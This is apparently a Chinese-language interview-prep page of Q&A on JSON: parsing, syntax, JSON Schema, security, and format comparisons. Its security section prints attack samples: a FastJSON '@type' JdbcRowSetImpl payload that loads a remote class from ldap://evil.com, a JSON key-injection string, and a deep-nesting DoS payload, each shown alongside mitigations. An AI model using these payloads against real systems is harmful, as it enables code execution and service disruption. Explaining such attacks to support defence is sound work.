服务端5月29日 01:08
JavaScript 中如何解析和序列化 JSON?有哪些高级用法?JavaScript 通过 `JSON.parse()` 将 JSON 字符串转为 JS 值,通过 `JSON.stringify()` 将 JS 值转为 JSON 字符串。基本用法直观,但有几个关键细节:`JSON.parse()` 第二个参数 reviver 可在解析时转换值(如把日期字符串还原为 Date 对象);`JSON.stringify()` 第二个参数 replacer 可过滤或转换属性,第三个参数 space 控制缩进格式化输出。序列化时 undefined 和函数在对象中会被忽略、在数组中变为 null,Date 转为 ISO 字符串,RegExp 变为空对象,Symbol 键被丢弃。循环引用会抛出 TypeError。`JSON.parse('123')` 合法——JSON 的最外层不一定是对象。
## 追问
- `JSON.stringify()` 遇到循环引用怎么办?如何实现一个安全的序列化函数?
- replacer 传数组 vs 传函数有什么区别?各自的典型使用场景是什么?
- `JSON.stringify(NaN)` 和 `JSON.stringify(Infinity)` 的结果是什么?为什么?
- BigInt 为什么不能被 JSON.stringify 序列化?有哪些变通方案?
- reviver 函数的执行顺序是怎样的?嵌套对象是从内到外还是从外到内?
## 写段代码
```javascript
// replacer 过滤敏感字段
const user = { name: 'Alice', token: 'secret', age: 25 };
const safe = JSON.stringify(user, (k, v) =>
k === 'token' ? undefined : v
);
// {"name":"Alice","age":25}
// reviver 还原日期
const s = '{"date":"2025-01-01"}';
const obj = JSON.parse(s, (k, v) =>
k === 'date' ? new Date(v) : v
);
// obj.date instanceof Date === true
```标签
JSON
JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,易于人类阅读和编写,同时也易于机器解析和生成。它是完全独立于编程语言的,但使用了类似于JavaScript对象语法的约定,这些特性使得JSON成为理想的数据交换语言。

服务端5月29日 01:08
JSON 的语法规则有哪些?哪些是容易踩坑的?JSON 语法看似简单,但有几条规则与 JavaScript 对象字面量不同,容易踩坑。核心规则:键名必须用双引号包裹(`"name"` 不能写成 `name`);字符串也只能用双引号,单引号非法;最后一个键值对后不能有尾逗号;不支持注释;值只能是 string、number、boolean、null、object、array 六种类型,不支持 undefined、Date、Function、RegExp。数字不支持前导零(`01` 非法)和 NaN/Infinity。字符串中的特殊字符需转义,如 `\n`、`\"`、`\\`。大小写敏感:只有小写的 `true`、`false`、`null` 合法,`TRUE` 或 `Null` 都会解析失败。
## 追问
- `{"a": 1,}` 在 JS 中合法但 JSON 非法,为什么 JSON 要禁止尾逗号?
- `JSON.parse('{"a": undefined}')` 会怎样?undefined 在对象和数组中的序列化行为有何不同?
- JSON 数字为什么不区分整数和浮点数?`1e3` 在 JSON 中合法吗?
- 如何在 JSON 中表示二进制数据?Base64 编码有什么局限?
- `JSON.parse('123')` 合法吗?`JSON.parse('"hello"')` 呢?最外层必须是对象吗?
## 写段代码
```javascript
// 合法 JSON
const a = JSON.parse('{"name":"Alice","age":25}');
// 非法:单引号键名
// JSON.parse("{'name':'Alice'}"); // SyntaxError
// 非法:尾逗号
// JSON.parse('{"name":"Alice",}'); // SyntaxError
// 合法:最外层不是对象
JSON.parse('123'); // 123
JSON.parse('"hi"'); // "hi"
```服务端5月29日 01:08
JSON 是什么?为什么它能取代 XML 成为数据交换的主流格式?JSON(JavaScript Object Notation)是一种基于文本的轻量级数据交换格式,采用键值对和数组的结构来组织数据。它脱胎于 JavaScript 对象字面量语法,但已被所有主流编程语言支持,成为 Web API 响应的事实标准。相比 XML,JSON 去掉了冗余的闭合标签,数据体积更小、解析更快,且天然映射为编程语言的内置数据结构(对象和数组),无需额外的 DOM 解析层。JSON 的主要用途包括:客户端与服务端之间的数据传输、配置文件(如 package.json、tsconfig.json)、NoSQL 数据库存储(如 MongoDB),以及跨语言的数据序列化。
## 追问
- JSON 和 JavaScript 对象字面量有什么区别?哪些合法的 JS 对象在 JSON 中是非法的?
- 为什么 JSON 不支持注释?这在配置场景下会带来什么问题,社区有哪些变通方案?
- JSON 中的数字类型为什么不区分整数和浮点数?这会导致什么精度问题?
- 如果要在跨语言场景中使用 JSON 传递日期,有哪些常见的约定做法?
- JSON5 和 JSON 的关系是什么?为什么不推荐在生产环境使用 JSON5?
## 写段代码
```javascript
const data = {
name: "Alice",
scores: [95, 87, 92],
active: true
};
const json = JSON.stringify(data);
const parsed = JSON.parse(json);
console.log(parsed.scores[0]); // 95
```服务端5月28日 00:31
什么是 JSON Schema?它的作用是什么?## 什么是 JSON Schema?
JSON Schema 是一份用 JSON 格式写成的"数据合同",它声明了某类 JSON 数据必须满足的结构、类型和约束规则。你可以把它理解成 JSON 数据的"类型定义 + 校验规则"——不仅规定有哪些字段、字段是什么类型,还能限定取值范围、格式、必填项等。
面试中回答这个问题,记住三个关键词:**校验、契约、文档**。JSON Schema 同时满足这三个需求,这是它和其他方案的核心差异。
## 核心作用
**数据校验**是最根本的用途。拿到一份 JSON,丢给校验器(如 Ajv、python-jsonschema),立刻知道它合不合规,不用手写一堆 if-else。校验器会返回具体的错误路径和原因,排查问题比手动校验快得多。
**接口契约**——在前后端协作或微服务通信中,JSON Schema 就是双方的数据约定。OpenAPI 3.0 的 schema 字段本质上就是 JSON Schema,用它描述请求体和响应体,API 文档和校验一步到位。不少团队把 Schema 放进代码仓库单独维护,PR 变更时自动触发兼容性检查。
**自动生成代码和表单**——不少工具能从 Schema 直接生成 TypeScript 类型定义、Go struct、Java POJO,甚至前端表单组件。减少了"文档写了没人看、代码和文档对不上"的问题。反过来看,也有工具(如 typeof-schema)能从现有 TypeScript 类型反向生成 JSON Schema。
## 一个完整的例子
```json
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"title": "User",
"type": "object",
"properties": {
"name": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"age": {
"type": "integer",
"minimum": 0,
"maximum": 150
},
"email": {
"type": "string",
"format": "email"
},
"role": {
"type": "string",
"enum": ["admin", "editor", "viewer"]
}
},
"required": ["name", "email"]
}
```
这段 Schema 做了几件事:限定整体是 object;name 是 1-100 字符的字符串;age 是 0-150 的整数;email 必须符合邮箱格式(`format` 关键字);role 只能取三个枚举值之一;name 和 email 是必填字段。
## 常用约束关键词
| 类别 | 关键词 | 说明 |
|------|--------|------|
| 数值 | minimum, maximum, exclusiveMinimum, exclusiveMaximum | 限定数值范围 |
| 字符串 | minLength, maxLength, pattern, format | 长度和正则、格式校验(format 支持 email、uri、date-time 等) |
| 数组 | minItems, maxItems, uniqueItems, prefixItems | 元素数量、去重、元组验证 |
| 对象 | required, additionalProperties, minProperties | 必填字段和额外属性控制 |
| 逻辑 | allOf, anyOf, oneOf, not | 组合条件,相当于 &&、||、xor、! |
| 条件 | if/then/else | 条件验证,当 if 匹配时必须满足 then |
| 引用 | $ref, $defs | 复用其他 Schema 定义,避免重复 |
## 和 TypeScript 类型、Zod 的区别
这是面试高频追问点。三者都能做数据约束,但定位不同:
**TypeScript 类型**是编译时工具,只在开发阶段生效,运行时完全消失。它不能校验从网络请求拿到的 JSON 数据——一个 API 返回了错误字段,TypeScript 不会报错,代码照跑,只是逻辑可能出错。
**Zod**既能在编译时推导类型,也能在运行时校验数据。但它绑定 JavaScript/TypeScript 生态,Schema 本身是代码而非数据,其他语言无法直接消费。
**JSON Schema**是语言无关的数据格式,任何语言都有校验器实现。它最大的优势是"数据即文档"——Schema 可以直接放进 OpenAPI 规范、配置文件,被各种工具链消费,也能存到数据库里做动态校验。
实际项目中,TypeScript 类型管开发体验,Zod 管运行时校验,JSON Schema 管跨团队、跨语言的数据契约。三者常常搭配使用,并不互斥。例如:用 JSON Schema 定义 API 契约,用工具生成 TypeScript 类型给前端用,后端用 Ajv 在运行时校验请求体。
## 实际项目中的应用场景
**API 网关层校验**——在网关(如 Kong、AWS API Gateway)配置 JSON Schema,非法请求在进入业务逻辑前就被拦截,返回 400 而不是让错误数据一路穿透到数据库。这比在每个 handler 里写校验逻辑高效得多。
**配置文件校验**——VS Code 的 settings.json、ESLint 的 .eslintrc、GitHub Actions 的 workflow 文件都有对应的 JSON Schema,IDE 能据此提供自动补全和实时错误提示。你在 VS Code 里写 settings.json 时弹出的属性提示,背后就是 JSON Schema 在工作。
**表单驱动开发**——前端框架(如 react-jsonschema-form)根据 Schema 自动渲染表单,包括输入框类型、校验规则、必填标记。后端只用关心 Schema 定义,前后端各写各的,表单逻辑不用重复实现。
**消息队列数据校验**——在 Kafka、RabbitMQ 等消息系统中,用 JSON Schema Registry 管理消息格式,消费者拿到消息先校验再处理,防止上游数据格式变更导致下游崩溃。
## 版本差异需要注意
JSON Schema 经历了 Draft-04、Draft-06、Draft-07、Draft 2019-09、Draft 2020-12 等版本。主要变化:
- Draft-06 起 `exclusiveMinimum` 从布尔值变成独立数值关键字,`minimum` 不再排他
- Draft 2019-09 引入了 `$defs` 替代 `definitions`,新增 `prefixItems` 替代 `items` 对数组的元组验证,`$recursiveRef` 实现递归 Schema
- Draft 2020-12 是当前最新稳定版,用 `$dynamicRef` 替代了 `$recursiveRef`
使用时注意校验器支持的版本。Ajv 默认支持 Draft-07,需要显式配置 `ajv@draft202012` 才能用新特性。Python 的 jsonschema 库默认支持最新版。
## 面试追问方向
**Q: JSON Schema 能做条件验证吗?**
可以,用 `if/then/else`。比如"当 role 是 admin 时,permissions 数组必填":
```json
{
"if": { "properties": { "role": { "const": "admin" } } },
"then": { "required": ["permissions"] }
}
```
**Q: 如何校验嵌套很深的数据?**
用 `$ref` 引用子 Schema,避免重复定义。配合 `$defs`(或旧版的 `definitions`)集中管理公共片段。深层嵌套不会影响校验性能,Ajv 会将整个 Schema 编译成一个校验函数。
**Q: JSON Schema 的性能如何?**
复杂 Schema 的校验开销不可忽视,但远快于手写校验代码。Ajv 支持 Schema 编译为函数,一次编译多次使用,单次校验通常在微秒级。对于高频场景(如每秒校验上万次请求),建议预编译并缓存。相比之下,python-jsonschema 比 Ajv 慢一个数量级,高并发场景优先选 Ajv。
**Q: JSON Schema 和 Protocol Buffers 的 Schema 有什么区别?**
Protobuf 侧重序列化和跨语言 RPC,自带代码生成和二进制编码,性能更高但不支持动态校验。JSON Schema 侧重验证和文档,数据仍然是 JSON 文本,灵活性更强但序列化体积和速度不如 Protobuf。两者适用场景不同:内部服务间通信选 Protobuf,面向外部 API 或需要人类可读的场景选 JSON Schema。服务端5月28日 00:30
如何防止 JSON 注入攻击?有哪些常见的安全问题需要注意?## JSON 注入攻击的原理
JSON 注入攻击是指攻击者通过在输入数据中插入恶意 JSON 片段,篡改 JSON 结构或注入可执行代码,从而绕过验证、窃取数据或执行非授权操作。
常见的注入手法包括:
- **键值篡改**:在用户输入中插入额外的 JSON 键值对,改变解析结果。例如用户输入 `"username","role":"admin"` 拼接后变成 `{"username":"input","role":"admin"}`。
- **结构破坏**:利用引号、花括号等特殊字符破坏原有 JSON 结构,导致解析异常或越权。
- **类型混淆**:将字符串类型的值替换为对象或数组,绕过基于类型的校验逻辑。
## 五种常见的 JSON 安全问题
### 1. JSON 注入
攻击者构造特殊的 JSON 字符串,破坏 JSON 结构或执行恶意代码。最典型的场景是服务端拼接 JSON 字符串时未对用户输入做转义:
```javascript
// 危险写法:直接拼接
const json = '{"name":"' + userInput + '"}';
// 输入 a","role":"admin -> {"name":"a","role":"admin"}
// 安全写法:使用序列化方法
const json = JSON.stringify({ name: userInput });
```
### 2. 反序列化漏洞
不安全的 JSON 反序列化可导致远程代码执行(RCE)。以 Java 生态的 FastJSON 为例,攻击者在 JSON 中注入 `"@type":"com.sun.rowset.JdbcRowSetImpl"` 指定恶意类,触发 JNDI 注入进而执行任意命令。
```java
// FastJSON 危险配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 攻击载荷
String payload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil.com/Exploit","autoCommit":true}";
JSON.parse(payload); // 触发远程类加载
```
防护要点:升级到 FastJSON 1.2.83+,关闭 AutoType,使用白名单机制限制可反序列化的类。
### 3. 跨站请求伪造(CSRF)
JSON 格式的 API 同样面临 CSRF 风险。虽然浏览器对 `Content-Type: application/json` 的跨域请求会触发预检,但如果服务端仅依赖 Cookie 鉴权且未校验 Origin 头,攻击者仍可构造表单提交发起攻击。
防护方式:校验 `Origin` 和 `Referer` 头,使用 CSRF Token,或改用 `Authorization` 头携带 Token。
### 4. 敏感信息泄露
JSON 响应中直接返回密码哈希、内部 ID、数据库字段名等敏感数据是常见问题。攻击者通过正常接口即可获取这些信息,无需任何注入手段。
```json
// 危险响应
{"id":1,"username":"admin","password_hash":"$2b$10$xxx...","email":"admin@example.com"}
// 安全响应:仅返回必要字段
{"id":1,"username":"admin"}
```
应对措施:使用 DTO 对象过滤输出字段,全局配置 JSON 序列化忽略敏感属性,定期审计 API 响应内容。
### 5. 拒绝服务攻击
构造超大或嵌套极深的 JSON 数据可耗尽服务器内存。例如一个嵌套 10000 层的对象,解析时占用大量栈空间导致 OOM。Python 的 `json.loads()` 默认无嵌套深度限制,而 `json5`、`bson` 等第三方库更易受此影响。
```python
# 深度嵌套攻击载荷
payload = '{"a":' * 10000 + '1' + '}' * 10000
json.loads(payload) # 可能导致栈溢出
```
防护手段:限制请求体大小(如 Nginx `client_max_body_size`),设置 JSON 解析的最大嵌套深度,实现请求频率限制。
## 防护措施详解
### 输入验证与净化
- 使用 JSON Schema 或类型校验库(如 Ajv、Pydantic)对输入做结构验证
- 对用户输入中的双引号、反斜杠等特殊字符进行转义
- 使用 `JSON.stringify()` / `json.dumps()` 等标准方法序列化,禁止手动拼接 JSON 字符串
- 对数值型字段做范围检查,对枚举型字段做白名单校验
### 安全的反序列化策略
- 禁用 AutoType / 类型自动识别功能
- 使用白名单限制可反序列化的类,而非依赖黑名单
- 对反序列化操作做权限隔离,运行在沙箱或低权限进程中
- 升级依赖库到最新安全版本,关注 CVE 公告
### 传输与响应安全
- 全站启用 HTTPS(TLS 1.3),防止中间人篡改 JSON 数据
- 设置 `Content-Type: application/json; charset=utf-8`,防止编码攻击
- 配置严格的 CORS 策略,限制允许的来源域名
- 响应中设置 `X-Content-Type-Options: nosniff`,防止 MIME 嗅探
### 运行时防护
- 限制 JSON 请求体大小(建议 1MB 以内,按业务调整)
- 设置解析最大嵌套深度(建议不超过 20 层)
- 实现接口级别的请求频率限制
- 部署 WAF 检测异常 JSON 载荷
## 核心检查清单
| 检查项 | 要求 |
|--------|------|
| JSON 拼接 | 禁止手动拼接,使用标准序列化方法 |
| 反序列化 | 关闭 AutoType,使用白名单 |
| 输入校验 | JSON Schema 验证 + 类型/范围检查 |
| 敏感字段 | DTO 过滤,不在响应中返回 |
| 嵌套深度 | 解析器限制最大深度 ≤ 20 |
| 请求大小 | 限制请求体上限 |
| 传输加密 | 全站 HTTPS + 严格 CORS |
| 依赖版本 | 定期更新,关注 CVE 公告 |
以上措施覆盖了 JSON 处理中从输入、解析、传输到响应的完整链路,按照清单逐项排查可有效降低 JSON 相关安全风险。服务端5月28日 00:28
JSON、XML、YAML、CSV 各有什么优缺点?## JSON、XML、YAML、CSV 各有什么优缺点?
### JSON 的核心优势
JSON 是当前 Web 开发中使用最广泛的数据交换格式,2026 年约 87% 的 Web API 响应使用 JSON。
**轻量紧凑**:同样的数据,JSON 的体积比 XML 小 20%-40%。一段表示用户信息的 JSON 可能只需 167 字符,而等价的 XML 需要 230 字符。这对移动端和带宽敏感场景影响显著。
**解析速度快**:JSON 的语法规则简单,解析器实现轻量,几乎所有编程语言都内置支持。JavaScript 可直接用 `JSON.parse()` / `JSON.stringify()` 处理,Python 用 `json` 模块,Go 用 `encoding/json`,无需额外依赖。
**与语言天然映射**:JSON 的对象和数组结构直接对应 JavaScript 对象、Python 字典、Java 的 Map/List,不需要额外的映射层。
**无歧义语法**:JSON 的语法严格,不存在像 YAML 缩进那样可能引发歧义的情况,解析结果确定性强。
### JSON 的不足
**不支持注释**:这是 JSON 作为配置文件最大的短板。不能在文件中添加说明,团队协作时只能依赖外部文档。
**数据类型有限**:只支持字符串、数字、布尔、null、对象、数组六种类型。没有日期时间类型(只能用字符串约定),没有二进制数据的原生表示,大数字可能丢失精度。
**不支持多行字符串**:长文本需要转义换行符,可读性差。
**Schema 验证相对薄弱**:虽然存在 JSON Schema,但相比 XML Schema(XSD)成熟度仍有差距,工具链也不如 XSD 丰富。
---
### XML 的核心优势
**强大的元数据能力**:XML 支持属性、命名空间、处理指令等,能表达比 JSON 更丰富的语义信息。例如一个 SVG 图形文件,属性和命名空间是不可或缺的。
**成熟的验证体系**:XSD(XML Schema Definition)提供严格的类型验证,支持复杂约束规则。在金融、保险等强监管行业,这种验证能力是刚需。
**XSLT 转换**:XML 拥有 XSLT 这种声明式转换语言,可以在不写代码的情况下完成复杂的数据转换,JSON 生态中没有对等工具。
**文档标记能力**:XML 天然适合表示带格式的文档结构,Microsoft Office(.docx、.xlsx)、SVG、RSS/Atom 都是 XML 格式。
### XML 的不足
**冗长**:每个元素都需要开闭标签,同样的数据 XML 通常比 JSON 大 30%-40%,传输和存储成本更高。
**解析复杂**:XML 解析器需要处理命名空间、实体引用、CDATA 等特性,实现复杂度高,性能开销比 JSON 大。
**人可读性较差**:大量标签和嵌套使得 XML 文件在人工阅读和编辑时体验不佳。
---
### YAML 的核心优势
**人类友好的语法**:YAML 用缩进表示层级,省略引号和括号,视觉上更干净。编写 Kubernetes 配置、Docker Compose 文件时,YAML 的可读性优势明显。
**支持注释**:用 `#` 添加注释,配置文件中可以直接标注说明,这是 JSON 做不到的。
**更丰富的数据类型**:原生支持日期时间、二进制、多行字符串、锚点(anchor)和别名(alias),可以减少重复定义。
**JSON 的超集**:合法的 JSON 也是合法的 YAML(YAML 1.2 规范),迁移成本低。
### YAML 的不足
**解析陷阱多**:YAML 的自动类型推断经常带来意外。例如 `yes` / `no` 会被解析为布尔值,`2025-01-01` 会被解析为日期,这可能导致配置错误。
**解析速度慢**:YAML 的语法规则复杂,解析性能明显低于 JSON,大文件场景下差距更显著。
**安全风险**:某些 YAML 实现支持任意代码执行(如 Python 的 `yaml.load()`),必须显式使用 `yaml.safe_load()` 防范攻击。
**缩进敏感**:一个空格的差异可能导致解析失败或产生不同结果,在复制粘贴和格式化工具处理时容易出错。
---
### CSV 的核心优势
**极致紧凑**:纯文本、逗号分隔,没有任何结构标记的冗余,数据密度最高。
**工具生态丰富**:Excel、Google Sheets 以及所有数据分析工具(Pandas、R)都直接支持 CSV。
**流式处理友好**:可以逐行读取处理,不需要将整个文件加载到内存,适合处理 GB 级数据。
**跨平台通用**:纯文本格式,任何编辑器都能打开,任何系统都能处理。
### CSV 的不足
**只支持二维表格**:无法表达嵌套结构、对象数组等复杂数据。一个包含嵌套地址字段的用户数据,CSV 无法自然表示。
**无类型信息**:所有值都是字符串,数字、日期、布尔值的区分全靠消费端自行判断。
**编码和分隔符问题**:不同地区使用不同分隔符(逗号 vs 分号),编码问题(BOM 头)经常导致解析异常。
**字段包含分隔符时需转义**:当数据本身包含逗号或换行时,需要用引号包裹,转义规则容易出错。
---
### 怎么选择合适的格式?
| 场景 | 推荐格式 | 原因 |
|---|---|---|
| Web API / 前后端通信 | JSON | 体积小、解析快、生态完善 |
| 配置文件(需要注释) | YAML | 可读性高、支持注释和数据类型 |
| 企业级集成 / 强验证 | XML | Schema 成熟、命名空间、XSLT |
| 数据导出 / 批量处理 | CSV | 紧凑、流式友好、工具支持好 |
| 移动端 / 低带宽 | JSON | 体积小、解析快 |
| 文档格式(Office/SVG) | XML | 标记能力、属性支持 |
**一句话总结**:JSON 是通用数据交换的首选,YAML 是人类可读配置的首选,XML 是强验证和文档标记的首选,CSV 是表格数据处理的首选。选格式不是找"最好的",而是找"最适合当前场景的"。